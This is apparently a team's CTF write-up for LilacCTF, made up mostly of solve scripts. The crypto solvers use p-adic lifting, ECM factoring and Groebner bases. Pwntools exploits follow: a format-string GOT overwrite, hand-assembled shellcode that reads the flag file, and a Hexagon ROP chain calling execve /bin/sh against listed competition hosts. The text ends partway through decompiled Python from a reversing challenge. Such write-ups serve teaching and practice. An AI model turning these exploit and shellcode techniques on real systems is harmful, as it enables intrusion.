Online link: https://hackmd.io/@Infobahn/H1ME4P4UWg
# Crypto
## nestDLP
Recover exprs
```py=
from sage.all import *
def lift_padic(poly):
global x, y, Zp
poly = poly.lift()
coeffs = [[] for _ in range(3)]
for i in range(5):
for j in range(5):
c = Zp(int(poly.coefficient({x: i, y: j})))
c = [int(c.expansion(i)) for i in range(3)]
# coeffs.append(c)
for k in range(3):
coeffs[k].append(c[k])
return coeffs
def read_output():
global x, y, S
data = open("output.txt").readlines()
poly_lst = []
for i in range(384):
print(f'{i = }')
line = data[i + 1].strip()
poly = S(sage_eval(line, locals={'x': x, 'y': y}))
# print(f'{poly = }')
poly_lst.append(poly)
# break
return poly_lst
p = 27163626949068993489548065092956573147065690312549243992743181548070229208336863515539631815667214312250392139728067
R = PolynomialRing(Zmod(p ** 3), names="x,y")
x, y = R.gens()
I = R.ideal([x**3 + y**5 + 13 * x * y - 37, y**3 + x**5 + 37 * x - 13]) # noqa: E741
S = R.quotient(I, names=("x,y"))
g = S(x**2 + y**2 + 13 * x + 37 * y + 1337)
Rp = R.change_ring(Zmod(p))
xp, yp = Rp.gens()
Ip = Rp.ideal([xp**3 + yp**5 + 13 * xp * yp - 37, yp**3 + xp**5 + 37 * xp - 13]) # noqa: E741
Sp = Rp.quotient(Ip, names=("x,y"))
gp = Sp(xp**2 + yp**2 + 13 * xp + 37 * yp + 1337)
f0 = xp**3 + yp**5 + 13 * xp * yp - 37
f1 = yp**3 + xp**5 + 37 * xp - 13
g0 = f0.sylvester_matrix(f1, xp).det()
g1 = f0.sylvester_matrix(f1, yp).det()
g0_fac = list(factor(g0.univariate_polynomial()))
order_Sp = lcm([p ** fac.degree() - 1 for fac, _ in g0_fac])
order_S = order_Sp * p**2
vec_mon = vector(S, [x ** i * y ** j for i in range(5) for j in range(5)])
vec_p = vector([p ** i for i in range(3)])
Zp = Qp(p, 3)
# gk = g ** order_Sp
gk = S(343050603991276313671361001769148118763959015693827000939396100915929942585241607166964001633081075427677159440805055611307132768644590883416375710371575126729232146757180388898364623732393894623237767036613591038336230968959931764904390329823952654097516362763276579098425658541450262339997586428546401522734979707300331953110610265307934059119*x**4*y**4 + 7463601198317132689206818492494834835207220964842361243671928821090033869063790631701633047424657628195709701262503306905019854398487234574586476573814379633246766399962926197336955178621933002234167442605070915773450392344644586709643611374381167020841963543466909347826983755070046578253506309465320912145681789162955634192758410689644640441764*x**4*y**3 + 13337159084261389094534492063530452395657741189458499941363314503003249076762747148825872410258163220040816933796880432956453540236679011665770647913154480217211923881056632404072361839494566793383495332335083530711997708895045784643650764729998439013599919852619650977700318606460353654147396889890069407934999562742085293273882671832545315372262*x**3*y**4 + 3796946865698228826889940803188476551598891760833075358090864109409845241901002839092691109299787047386184738603560820653204211939373561746056976871074377896714068284307783785535032924021502628304360787473002800138314515086786260605202563326938837546984351893646661831754464341779341325192113729971388996781959319457167801103800984316265111888522*x**4*y**2 + 7811112389893969937975652746470405296863838646875918343281900970916749749783856453355564225714402754278052822855496493475784255821713267725503752240500775675672361653586189388045056014351252608424374436450942450589978426192222214577726263794277931435707721907855825834576749043329531807457057678855685542051845385514833620855953632137990725650877*x**3*y**3 + 9735424174360748700895825605724311768654945939391945170770911156347377376893235374593582718425553430764651544583026868174174074695287137691926263110728510060579935147263570824680362512990165208104990254963819030818928768645280815534677710740002295381305265838360328525026637012157947306217535455418540380445541996608715587215768133495733641862177*x**2*y**4 + 1496937394133115028020243432704699812072550191660142197203726373964727581129002231866172960903904265599801330691950261292627649260338594741506492301788229057007132807224180051092229219279458813611725540345379810925270971617166160739294570570164781186202268165674200861035340313057157541963619014084383969606501004519224642016898117065706575266619*x**4*y + 8523294257263699813500694427815499199237349491302184838940705274810704339763965506804809094465584988372491453636839820431540892969699233556451670088263377437445207657879285230410851791153703599874344335606067653837155904628469112518179418133691613045806699593076949359791547315718050891346719885875370577912263937830914136358867955337588649017562*x**3*y**2 + 10026348905864968727405294920655253934641667467883996543350226027610286857756564732327827270071663876771935805176103317112736602613569244780178678895995765179160523486370705037699434101921014283844621665190424001986999643171205815400916737402768949789567554717978714571875130065728252731598960149924583830190660459719830809665452165367526548673380*x**2*y**3 + 14984339826617307858269297973226906588068175610681548430404000858900868602371405651286618511627779357794085029210392813087744206977156575390399488093279727705252042507184846925288258697642928485950128539734940652002537624296859698492469560843459207900982750517270810875430425216275129693092886964716928954294107795552856114722037745384999151445724*x*y**4 + 7894574920916210094365294528753043855798351829412876357324525678581933011684630328879274925179228083626640043228053508527713662657747105132507636984518399483003962466925029536572387318455702060691488046548268091465894309785382662937212520599313953706366651020903706379442836189350739582523489265910784317002458566296613400332331095648595143453508*x**4 + 16014499563402383798355087957353634745890833157535525983932084767627639864695495086240180495171251606857448158332014365853356166353805535887291731414271031308096473803261003737732530401184505802887030982080987284507772100785154074235555168473910978875373135030010213891080774486725682678319858939241782019004397510501132341991565184491922402876040*x**3*y + 16456158602512454075387939513899173758984653073708839232037820491829923364554658262466459797192111252004443819952328933826844644747081286037491693727787823996730616813949585060618914177466592292013653188222241401962456775553178000825983592204409326867653336955127173568346063206039455382202020001617777999215957306180072737694931807619593204611704*x**2*y**2 + 3453337573500973327291909005299100807354372234292967211146430605240846326911078158590098957050812364578144596215505018838897022884900156637987540398780875205074359094360565020045509121791590696650198501780667486555886722670679406904365759575027604867250556547270797832024588940916269981543180284276740943448319168887599450855044513536450654403273*x*y**3 + 15266553946502783821661515991495294690485994543217774910827952521617066499096577932503179481876868130468593115034408798567181535584126892181811018919880437280039415557305525309683601658615721084777632335557305540278813243536279379257954622019417716750497956792597504026958972589381579486336371139216550438697804894036682856194629166467897641586639*y**4 + 9365104962916699735342107489936563233185791755328882866669814256813282764255542283929895302829128592022380872060624188091921636989514940594332092187741725559434134682950487126965780807129838545531602633575143654990349707711763797072422091087761635141304631012345993775778711869380210274880417678038014384564750774919693310615321822375661455386819*x**3 + 19450598002128773642927580841474131941693817860069865359007606860780746446524042113796574879210976240233416637877429116118666227346798536328174046462296710025118126873672222771003660604205376781229712390657974212760941106329514761474041688347004318839693960541353604530783980957203258960990451729495168192378559988453737449347527056983389726695647*x**2*y + 5964677852146646884881768210905436229474358669256207934465257391135219384022154624057148607017217764890813621994967627591980945630717572425891445337196655120632407156310569713527490762192108972060991118959609874159382200133151802161807673977380693915952743273727613034127330555141631433322235825572988962172994404417367108903483716064912249155383*x*y**2 + 15684071730193503066724044995198829401924318522963679078071664264193086983843159314802494266412581361660639990264533430418051406427108973514785818908689855596945054214654556245944036743333713503669709232467701055913982715509306127256137206513102484587700659995585497611577273679761161557653251262585527759562874588190949270527229802870528815083155*y**3 + 17396515407376941223556996573981112868771914964380132290467868903156126217341762108222650878063725338154730418276722400306660891353237334811405642802121169219012815137518992204458520949004957149355077841866698234973221250778480166375931917715043726264860544065418553694506653654863809170244671500652496367340190246227833040568259136646024871130333*x**2 + 13848281508844551301382876056885630106061473624867461681062885926853546063384169860615809608973858614037040360206014157277040824911483521241502066687845629820302689282303282825516147951857770892004798634700008078981546935494285111608091383358057753385250284875795034529100890160641677063544540522958098392009593166232849814556083547710521940062173*x*y + 14364688849070027816203958505086703112821918397537784512405273363985429148395468609177144323845151718584814955962522541225623937904702928780918532215227424677764022113720759819131781704008768840795255000503580038184616874991855147812322637136410795400840757801165050898022147247799933870623298592180984192808229837802529400556909188600745830580810*y ** 2 + 7780891264806097641285911599937850234680998863775998532471601487295847920038733838627798950014379685510894849522557722140331905013782104834245256736265354269026344754311299888269398995100698374298455244983785788152011167291143448866729709343392217281926905026778496882649930578595513491973086546536909918393233324763261395101498823468224748940195*x + 12895233080003042797619714101148912291969898288779329449440394598008605498263575836956599226048735731190575725086580180895020063074945922600275865841055605625803945541946059318492072763008941128430769903152099514989556170891513867008150038546064501671984775900453941008724330861411486235536402437592312451853630611304407758783900992671216998754663*y + 9910015623323886456497507851751441553134667928184965903062807248733958104268932060847529965033601121890627692384506714428410529476303596180605528131122269541083408669785649331966489940195356252881676434955886160571802931287087858223096687433830481898620814460315256544312349175290403764532282471192655346174722845180222626705695913871345088004382)
coeff1 = lift_padic(gk)
t0 = coeff1[1][1]
# Get quadratic equation of e through coefficient of y
"""
gk = 1 + x1 * p + x2 * p**2
gke = gk ** e = 1 + e * x1 * p + (e * (e - 1) / 2 * x1**2 + e * x2) * p**2
"""
# Recover e mod p
# e = e_p + k * p
poly_lst = read_output()
e_sol = []
for poly in poly_lst:
# print(poly.parent())
gke = poly ** order_Sp
# print(f'Processing poly...')
target = int(gke.lift().coefficient({x:0, y:1}))
e_p = target // p * pow(t0, -1, p) % p
gke2 = gke * (gk ** (-e_p))
coeff2 = lift_padic(gke2)
t1 = coeff2[2][1]
k = t1 * pow(t0, -1, p) % p
e_full = e_p + k * p
e_sol.append(e_full)
print(f'{e_full = }')
open("sols.txt", "w").write(f'{e_sol = }')
```
Get flag
```py=
#!/usr/bin/env python3.14
import argparse
import ast
import re
from pathlib import Path
from typing import Iterable
from ortools.sat.python import cp_model
def _parse_exps(path: Path) -> list[int]:
text = path.read_text()
m = re.search(r"e_sol\s*=\s*(\[.*\])\s*$", text, re.S)
if m:
return ast.literal_eval(m.group(1))
# Fallback: allow raw list literal.
return ast.literal_eval(text.strip())
def _allowed_patterns(charset: str) -> list[list[int]]:
if charset == "printable":
allowed_bytes: Iterable[int] = range(32, 127)
elif charset == "hex_lower":
allowed_bytes = b"0123456789abcdef"
elif charset == "hex_upper":
allowed_bytes = b"0123456789ABCDEF"
elif charset == "base64":
allowed_bytes = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
elif charset == "base64url":
allowed_bytes = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"
elif charset == "word":
allowed_bytes = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_"
else:
raise ValueError(f"unknown charset: {charset}")
patterns: list[list[int]] = []
for b in allowed_bytes:
if isinstance(b, str):
b = ord(b)
patterns.append([(b >> (7 - i)) & 1 for i in range(8)])
return patterns
def main() -> int:
parser = argparse.ArgumentParser(description="Recover flag from recovered exponents in sols.txt")
parser.add_argument("--sols", default="sols.txt", type=Path, help="path to sols.txt")
parser.add_argument(
"--charset",
default="printable",
choices=["printable", "word", "hex_lower", "hex_upper", "base64", "base64url"],
help="restrict flag bytes to a charset (helps the solver a lot)",
)
parser.add_argument("--time-limit", type=float, default=300.0, help="max solve time in seconds")
parser.add_argument("--workers", type=int, default=8, help="CP-SAT search workers")
parser.add_argument("--no-solver-log", action="store_true", help="disable CP-SAT progress log")
args = parser.parse_args()
exps = _parse_exps(args.sols)
n = max(e.bit_length() for e in exps)
if n % 8:
raise SystemExit(f"bitlength {n} is not a multiple of 8")
byte_len = n // 8
w = n // 2 + 1
bitstrings = [format(e, f"0{n}b") for e in exps]
weights = [s.count("1") for s in bitstrings]
rhs = [weights[i] - w for i in range(len(exps))]
print(f"[+] parsed {len(exps)} exps")
print(f"[+] message length: {byte_len} bytes ({n} bits)")
print(f"[+] otp weight w={w}")
print(f"[+] charset={args.charset}")
model = cp_model.CpModel()
x = [model.new_bool_var(f"x{j}") for j in range(n)]
patterns = _allowed_patterns(args.charset)
for k in range(byte_len):
model.add_allowed_assignments([x[8 * k + i] for i in range(8)], patterns)
for i, bs in enumerate(bitstrings):
model.add(sum(((1 if ch == "1" else -1) * x[j]) for j, ch in enumerate(bs)) == rhs[i])
solver = cp_model.CpSolver()
solver.parameters.max_time_in_seconds = args.time_limit
solver.parameters.num_search_workers = args.workers
solver.parameters.cp_model_presolve = True
solver.parameters.log_search_progress = not args.no_solver_log
print("[+] solving...")
res = solver.solve(model)
print(f"[+] status: {solver.status_name(res)}")
if res not in (cp_model.OPTIMAL, cp_model.FEASIBLE):
return 2
v = 0
for j in range(n):
v = (v << 1) | solver.value(x[j])
msg = v.to_bytes(byte_len, "big")
flag = b"LilacCTF{" + msg + b"}"
print(flag.decode("ascii", errors="replace"))
# Sanity check: every exp must be at Hamming distance w.
mm = int.from_bytes(msg, "big")
for i, e in enumerate(exps):
if (mm ^ e).bit_count() != w:
raise SystemExit(f"internal check failed at i={i}")
print("[+] check ok")
return 0
if __name__ == "__main__":
raise SystemExit(main())
```
## myRSA
ECM
```python
from sage.all import *
from pwn import *
# io = remote("101.245.90.119", "8089")
# n = int(io.recvline().decode().strip().split(" = ")[1])
# c = int(io.recvline().decode().strip().split(" = ")[1])
# save = []
# for num in range(82, 100):
# io.sendlineafter(b" > ", str(num).encode())
# recv = io.recvline().decode().strip()
# if recv != "🤐":
# save.append((num, int(recv)))
# print(n)
# print(c)
# print(save)
n = 320463398964822335046388577512598439169912412662663009494347432623554394203670803089065987779128504277420596228400774827331351610218400792101575854579340551173392220602541203502751384517150046009415263351743602382113258267162420601780488075168957353780597674878144369327869964465070900596283281886408183175554478081038993938477659926361457163384937565266894839330377063520304463379213493662243218514993889537829099698656597997161855278297938355255410088350528543369288722795261835727770017939399082258134647208444374973242138569356754462210049877096486232693547694891534331539434254781094641373606991238019101335437
c = 80140760654462267017719473677495407945806989083076205994692983838456863987736401342704400427420046369099889997909749061368480651101102957366243793278412775082041015336890704820532767466703387606369163429880159007880606865852075573350086563934479736264492605192640115037085361523151744341819385022516548746015224651520456608321954049996777342018093920514055242719341522462068436565236490888149658105227332969276825894486219704822623333003530407496629970767624179771340249861283624439879882322915841180645525481839850978628245753026288794265196088121281665948230166544293876326256961232824906231788653397049122767633
save = (96, 34484956620179866074070847926139804359063142072294116788718557980902699327115656987124274229028140189100320603969008330866286764246306228523522742687628880235600852992498136916120692433600681811756379032521946702982740835213837602607673998432757011503342362501420917079002053526006602493983327263888542981905944223306284758287900181549380023600320809126518577943982963226746085664799480543700126384554756984361274849594593385089122492057335848048936127343198814676002820177792439241938851191156589839212021554296197426022622140915752674220260151964958964867477793087927995204920387657229909976501960074230485827919)
E = EllipticCurve(Zmod(n), [0, 95])
G = E(1, save[1])
p = int(gcd(n, list(n * G)[2]))
x = PolynomialRing(ZZ, 'x').gen()
f = x**2 + 5 * x + 7 - ZZ(p)
pp = int(f.roots()[1][0])
q = pp**2 + 3 * pp + 3
r = n // (p * q)
pari.addprimes([p, q, r])
for flag in Zmod(n)(c).nth_root(65537, all=True):
try:
print(bytes(ZZ(flag).digits(base=256)[::-1]).decode())
except:
continue
```
## myBlock
Symbolic and Groebner basis
```python
from sage.all import *
from pwn import *
from hashlib import sha3_256
ROUNDS = 4
class myFeistel_symbolic:
def __init__(self, subkeys):
self.subkeys = subkeys.copy()
def cube(self, a):
return a ** 3
def enc_block(self, L, R, num = ROUNDS):
for i, k in enumerate(self.subkeys[:num]):
T = self.cube(L + k)
new_R = R + T
new_L = L
L, R = new_R, new_L
# print(i, L.degree())
return L, R
def enc(self, data):
return [self.enc_block(l, r) for l, r in data] # noqa: E741
def dec_block(self, L, R, num = ROUNDS):
for k in self.subkeys[::-1][:num]:
T = self.cube(R + k)
L, R = R, L + T
return L, R
def dec(self, data):
return [self.dec_block(l, r) for l, r in data] # noqa: E741
Fp = GF(2 ** 16, 'x', modulus = [int(x) for x in bin(0x1002D)[2:][::-1]])
print(Fp.modulus())
P = PolynomialRing(Fp, [f'rk_{i}' for i in range(8)])
subkeys_v = list(P.gens())
cipher_v = myFeistel_symbolic(subkeys_v)
io = process(["python3", "chall.py"])
# io = remote("101.245.104.7", "8088")
io.sendlineafter(b">", b"674")
pts = eval(io.recvline().decode().strip())
cts = eval(io.recvline().decode().strip())
key_hash = io.recvline().decode().strip()
print("Get data done")
pts_fp = [(Fp.from_integer(pt[0]), Fp.from_integer(pt[1])) for pt in pts]
cts_fp = [(Fp.from_integer(ct[0]), Fp.from_integer(ct[1])) for ct in cts]
pts_fp_4r = [cipher_v.enc_block(*pt_fp, num = 3) for pt_fp in pts_fp]
cts_fp_4r = [cipher_v.dec_block(*ct_fp, num = 4) for ct_fp in cts_fp]
# fs0 = []
# fs1 = []
fs2 = []
for pt_fp_4r, ct_fp_4r in zip(pts_fp_4r, cts_fp_4r):
fs2.append(pt_fp_4r[0] - ct_fp_4r[1])
print("GB times")
I = Ideal(fs2).groebner_basis()
key = [0] * 8
idx = [0, 1, 2, 4, 5, 6, 7]
for i, poly in enumerate(I):
key[idx[i]] = int(list(poly)[1][0].to_integer())
for key3 in range(2**16):
key[3] = key3
keybytes = b"".join(key[i].to_bytes(2, "big") for i in range(8))
if sha3_256(keybytes).digest().hex() == key_hash:
print(keybytes.hex())
io.interactive()
# LilacCTF{https://www.youtube.com/watch?v=vnw8zURAxkU}
```
# Pwn
## chuantongxianyan
```py=
#!/usr/bin/env python3.14
# -*- coding: utf-8 -*-
from pwn import *
import re
try:
from fast_log import *
update_config(
log_print_fn=lambda k,v:info("%s: %s"%(k,v)),
warn_print_fn=lambda k,v:warn("%s: %s"%(k,v))
)
except: logx = warnx = print
exe = ELF("./pwn_patched", False)
libc = ELF("./libc.so.6", False)
ld = ELF("./ld-linux-x86-64.so.2", False)
context(
binary=exe,
log_level="debug",
)
REMOTE_ADDR = "1.95.71.133:8889"
def start(**kwargs):
if args.REMOTE:
return remote(*re.split(r":|\s", REMOTE_ADDR), **kwargs)
else:
# return gdb.debug([exe.path])
return process(['./pwn_patched'])
p = start()
sla=p.sendlineafter;sa=p.sendafter;sl=p.sendline;s=p.send
ru=p.recvuntil;rl=p.recvline;r=p.recv
ra = lambda to_skip, rcv_until=b"\n", drop=True: [ru(to_skip), ru(rcv_until, drop=drop)][-1]
safe_link = lambda addr, ptr: (addr >> 12) ^ ptr
ptr_mangle = lambda addr, cookie=0: rol(addr ^ cookie, 17)
ptr_demangle = lambda addr, cookie=0: ror(addr, 17) ^ cookie
ptr_getcookie = lambda mangled, demangled: ptr_demangle(mangled, demangled)
binsh = lambda: next(libc.search(b"/bin/sh\0"))
attach = lambda script=None, api=False: not args.REMOTE and gdb.attach(p, gdbscript=script, api=api)
u32d = lambda data: u32(data.ljust(4, b'\x00'))
u64d = lambda data: u64(data.ljust(8, b'\x00'))
bb = lambda data: data if isinstance(data, bytes) else data.encode()
snum = lambda num: str(num).encode()
hnum = lambda num: hex(num)[2:].encode()
PROMPT = b"> "
choice = lambda num: sla(PROMPT, snum(num))
slp = lambda data: sla(PROMPT, bb(data))
###################
## START EXPLOIT ##
###################
def fmt(msg):
assert len(msg) <= 0x10
sa(b"input: \n", bb(msg))
return r(0x10)
def scratch(byte: int, to: int):
global argv0_addr, buf_addr
goal = byte
if goal > 99:
from tqdm import trange
for i in trange(goal):
fmt(b"%d%5$hhn" + p64(argv0_addr + i))
fmt(b"%5$hhnAA" + p64(argv0_addr + goal))
fmt(b"%9$s%5$n" + p64(to))
elif goal > 0:
fmt(f"%{goal}c%5$n".encode().ljust(8, b"A") + p64(to))
else:
fmt(b"%5$nAAAA" + p64(to))
def break_out():
fmt(b"%68c%5$n" + p64(exe.address + 0x4030))
attach("""\
brva 0x10EF
# brva 0x10BC
c
""")
pie_leak = int(fmt(b"%1$pA").split(b"A")[0], 16)
exe.address = pie_leak - 0x4020
logx(exe.address)
libc_leak = u64d(fmt(b"%5$sAAAA" + p64(exe.got.snprintf)).split(b"A")[0])
libc.address = libc_leak - libc.sym.snprintf
logx(libc.address)
buf_addr = u64d(fmt(b"%5$sAAAA" + p64(exe.address + 0x4030)).split(b"A")[0])
logx(buf_addr)
assert buf_addr > 0x10000, "Run again"
# move the argv[0] ptr down
fmt(b"%5$hhnAA" + p64(buf_addr + 0x28 + 1))
argv0_addr = int(fmt(b"%9$pA").split(b"A")[0], 16)
logx(argv0_addr)
# p.interactive(); p.close(); exit()
context.log_level = "INFO"
from tqdm import tqdm
to_overwrite = exe.got._exit
new_addr = libc.address + 0xebc81
for i, nval in enumerate(p64(new_addr).rstrip(b"\0")):
if i > 4:
for j, val in enumerate(p64(to_overwrite + i).rstrip(b"\0")):
scratch(val, buf_addr + 0x10 + j)
fmt(f"%{nval}c%6$hhn\0")
else:
scratch(nval, to_overwrite + i)
break_out()
logx(buf_addr, new_addr)
p.interactive()
```
## bytezoo
```py=
#!/usr/bin/env python3.14
# -*- coding: utf-8 -*-
from pwn import *
import re
try:
from fast_log import *
update_config(
log_print_fn=lambda k,v:info("%s: %s"%(k,v)),
warn_print_fn=lambda k,v:warn("%s: %s"%(k,v))
)
except: logx = warnx = print
exe = ELF("./pwn_patched", checksec=False)
context(
binary=exe,
log_level="debug",
# terminal="kitty"
)
REMOTE_ADDR = "1.95.113.66:8999"
def start(**kwargs):
if args.REMOTE:
return remote(*re.split(r":|\s", REMOTE_ADDR), **kwargs)
else:
# return gdb.debug([exe.path])
return process([exe.path])
p = start()
sla=p.sendlineafter;sa=p.sendafter;sl=p.sendline;s=p.send
ru=p.recvuntil;rl=p.recvline;r=p.recv
ra = lambda to_skip, rcv_until=b"\n", drop=True: [ru(to_skip), ru(rcv_until, drop=drop)][-1]
safe_link = lambda addr, ptr: (addr >> 12) ^ ptr
ptr_mangle = lambda addr, cookie=0: rol(addr ^ cookie, 17)
ptr_demangle = lambda addr, cookie=0: ror(addr, 17) ^ cookie
ptr_getcookie = lambda mangled, demangled: ptr_demangle(mangled, demangled)
binsh = lambda: next(libc.search(b"/bin/sh\0"))
attach = lambda script=None, api=False: not args.REMOTE and gdb.attach(p, gdbscript=script, api=api)
u32d = lambda data: u32(data.ljust(4, b'\x00'))
u64d = lambda data: u64(data.ljust(8, b'\x00'))
bb = lambda data: data if isinstance(data, bytes) else data.encode()
snum = lambda num: str(num).encode()
hnum = lambda num: hex(num)[2:].encode()
PROMPT = b"> "
choice = lambda num: sla(PROMPT, snum(num))
slp = lambda data: sla(PROMPT, bb(data))
###################
## START EXPLOIT ##
###################
code = [
b"\x6a\x4a", # push 0x4a
b"\x5b", # pop rbx
b"\x64\x48\x8b\x5c\xdb\x26", # mov rbx, fs:[rbx+rbx*8+0x26]
b"\x31\xed", # xor ebp, ebp
b"\x66\xbd\xd7\x23", # mov bp, 0x23d7
b"\x48\x8d\x6c\xed\x13", # lea rbp, [rbp+rbp*8+0x13]
b"\x48\x29\xeb", # sub rbx, rbp
b"\x89\xc7", # mov edi, eax
b"\x6a\x4d", # push 0x4d
b"\x5e", # pop rsi
b"\x83\xee\x46", # sub esi, 0x46
b"\x89\xf2", # mov edx, esi
b"\x6a\x35", # push 0x35
b"\x58", # pop rax
b"\x2c\x2b", # sub al, 0x2b
b"\xff\xd3", # call rbx
b"\x87\xfe", # xchg esi, edi
b"\x5f", # pop rdi
b"\xb6\xff", # mov dh, 0xff
b"\xff\xd3", # call rbx
]
raw = b"".join(code)
attach("brva 0x195D\nc")
sa(b"work.\n", raw)
part2 = asm(
shellcraft.open("./flag") + shellcraft.sendfile(1, "rax", 0, 0xff)
)
part2 = b"\x90" * 0x30 + part2
s(part2)
p.interactive()
```
## gate-way
faked r30/fp
by pointing it to where /bin/sh is stored
```python
from pwn import *
# p = process(['./qemu-hexagon', '-d', 'cpu,in_asm', '-D', 'debug.log', '-g', '1234', './pwn'])
# p = process(['./qemu-hexagon', './pwn'])
p = remote('1.95.71.133', 8888)
# context.log_level = 'debug'
p.sendlineafter(b'Exit.\n', b'1')
p.sendlineafter(b'Service.\n', b'1')
p.sendlineafter(b'description\n', b'1.1.1.1|' + p32(0) + p32(0x000214f4) + b'/bin/sh\x00')
p.sendlineafter(b'Service.\n', b'2')
padding = b'1.1.1.1|' + b'A' * (100 - 4)
payload = padding
payload += p32(0x475f8)
payload += p32(0x000217e4)
payload += p32(0)
payload += p32(221) # execve
payload += p32(0x47600)
payload += p32(0)
p.sendlineafter(b'<<', payload)
p.interactive()
```
# Rev
## ezpython
Extract pyc from main.exe and decompile it using pylingual
```python=
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'main.py'
# Bytecode version: 3.9.0beta5 (3425)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import struct
from crypto import *
from sys import *
import base64
import myalgo
welcome_msg = 'V2VsYzBtMyBUbyBUaGUgV29ybGQgb2YgTDFsYWMgPDM='
input_msg = ':i(G#8T&KiF<F_)F`JToCggs;'
right_msg = 'UmlnaHQsIGNvbmdyYXR1bGF0aW9ucyE='
wrong_msg = 'V3JvbmcgRmxhZyE='
print(b64decode(welcome_msg).decode())
flag = input(a85decode(input_msg).decode())
if not (flag.startswith('LilacCTF{') and flag.endswith('}') and (len(flag) == 26)):
print(b64decode(wrong_msg).decode())
else:
flag = flag[9:25]
res = [761104570, 1033127419, 3729026053, 795718415]
key = struct.unpack('<IIII', b'1111222233334444')
input = list(struct.unpack('<IIII', flag.encode()))
myalgo.btea(input, 4, key)
if input[0] == res[0] and input[1] == res[1] and (input[2] == res[2]) and (input[3] == res[3]):
print(b64decode(right_msg).decode())
else:
print(b64decode(wrong_msg).decode())
```
```python
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'myalgo.py'
# Bytecode version: 3.9.0beta5 (3425)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import dis
import struct
def MX(y, z, sum, k, p, e):
return (z >> 5 ^ y >> 2) + (y << 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z)
def btea(v, n, k):
u32 = lambda x: x & 4294967295
y = v[0]
sum = 0
DELTA = 1163219540
if n > 1:
z = v[n - 1]
q = 6 + 52 // n
while q > 0:
q -= 1
sum = u32(sum + DELTA)
e = u32(sum >> 2) & 3
p = 0
while p < n - 1:
y = v[p + 1]
z = v[p] = u32(v[p] + MX(y, z, sum, k, p, e))
p += 1
y = v[0]
z = v[n - 1] = u32(v[n - 1] + MX(y, z, sum, k, p, e))
return True
else:
return False
if __name__ == '__main__':
print('WOW')
```
```python=
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'crypto.py'
# Bytecode version: 3.9.0beta5 (3425)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
from types import CodeType
import dis
import sys
from myalgo import *
import re
import struct
import binascii
class RC4:
def __init__(self, key: bytes):
"""\n 初始化 RC4 类\n :param key: 密钥,字节类型\n """
self.key = key
self.s = list(range(256))
self._ksa()
def _ksa(self):
"""\n 密钥调度算法 (Key Scheduling Algorithm, KSA)\n """
j = 0
key_length = len(self.key)
for i in range(256):
j = (j + self.s[i] + self.key[i % key_length]) % 256
self.s[i], self.s[j] = (self.s[j], self.s[i])
def _prga(self):
"""\n 伪随机数生成算法 (Pseudo-Random Generation Algorithm, PRGA)\n :yield: 生成的伪随机字节\n """
i = j = 0
while True:
i = (i + 1) % 256
j = (j + self.s[i]) % 256
self.s[i], self.s[j] = (self.s[j], self.s[i])
yield self.s[(self.s[i] + self.s[j]) % 256]
def encrypt(self, plaintext: bytes) -> bytes:
"""\n 加密明文\n :param plaintext: 明文,字节类型\n :return: 密文,字节类型\n """
keystream = self._prga()
return bytes([p ^ next(keystream) for p in plaintext])
def decrypt(self, ciphertext: bytes) -> bytes:
"""\n 解密密文\n :param ciphertext: 密文,字节类型\n :return: 明文,字节类型\n """
return self.encrypt(ciphertext)
class ArrangeSimpleDES:
def __init__(self):
self.ip = [58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8, 57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7]
self.ip1 = [40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25]
self.E = [32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9, 8, 9, 10, 11, 12, 13, 12, 13, 14, 15, 16, 17, 16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25, 24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32, 1]
self.P = [16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10, 2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25]
self.K = '0111010001101000011010010111001101101001011100110110100101110110'
self.k1 = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4]
self.k2 = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32]
self.k0 = [1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1]
self.S = [[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 4, 1, 14, 8, 3, 10, 5, 0, 15, 12, 8, 2, 4, 9, 14, 12, 5, 0, 14, 10, 6, 6, 4, 2, 1, 10, 6, 3, 11, 5, 1, 10, 14, 5, 6, 4, 2, 1, 13, 1, 10, 6, 3, 11, 6, 4, 2, 1, 13, 3, 8, 10, 6, 1, 11,
